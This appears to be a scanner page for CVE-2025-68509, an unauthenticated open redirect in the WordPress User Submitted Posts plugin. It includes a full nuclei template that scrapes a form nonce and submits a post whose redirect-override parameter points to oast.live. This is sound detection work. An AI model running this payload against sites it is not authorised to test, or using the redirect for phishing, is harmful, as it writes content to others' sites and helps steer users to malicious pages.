User Submitted Posts <= 20251121 - Unauthenticated Open Redirect

mediumseverity

0.5%likelihood of exploitation, next 30 days

45%of all CVEs are less likely

Readycheck to confirm it

The User Submitted Posts plugin for WordPress is vulnerable to Open Redirect in all versions up to and including 20251121. This is due to insufficient validation on the redirect-override POST parameter. Unauthenticated attackers can redirect users to potentially malicious sites by tricking them into submitting a form.

Impact

Attackers can redirect users to malicious sites, facilitating phishing attacks and credential theft.

Fix

Update to the latest version.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "name=\"usp-nonce\""
Send: POST {{BaseURL}}
Positive when: matches in header /(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]…/

Run it with nuclei: nuclei -id CVE-2025-68509 -u <target>

The full check

id: CVE-2025-68509

info:
  name: User Submitted Posts <= 20251121 - Unauthenticated Open Redirect
  author: Shivam Kamboj
  severity: medium
  description: |
    The User Submitted Posts plugin for WordPress is vulnerable to Open Redirect in all versions up to and including 20251121. This is due to insufficient validation on the redirect-override POST parameter. Unauthenticated attackers can redirect users to potentially malicious sites by tricking them into submitting a form.
  impact: |
    Attackers can redirect users to malicious sites, facilitating phishing attacks and credential theft.
  remediation:
    Update to the latest version.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-submitted-posts/user-submitted-posts-20251121-unauthenticated-open-redirect
    - https://plugins.trac.wordpress.org/changeset?old_path=/user-submitted-posts/tags/20251121&new_path=/user-submitted-posts/tags/20251210
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="usp-nonce"
  tags: cve,cve2025,wordpress,wp-plugin,user-submitted-posts,open-redirect,wp

variables:
  content: "{{to_lower(rand_text_alphanumeric(6))}}"
  username: "{{rand_text_alphanumeric(12)}}"
  email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        words:
          - 'name="usp-nonce"'
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        regex:
          - 'name="usp-nonce"\s+value="([^"]+)"'
        group: 1

  - method: POST
    path:
      - "{{BaseURL}}"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "usp-nonce={{nonce}}&user-submitted-title={{rand_int(10000,99999)}}&user-submitted-content={{content}}&user-submitted-name={{username}}&user-submitted-email={{email}}&user-submitted-url=https://test.com&user-submitted-tags=test&user-submitted-category[]=1&user-submitted-captcha=2&redirect-override=https://oast.live/"

    redirects: false

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)oast\.live\/?(\/|[^.].*)?$'

References

Use this check only on systems you are authorised to test. Where the data comes from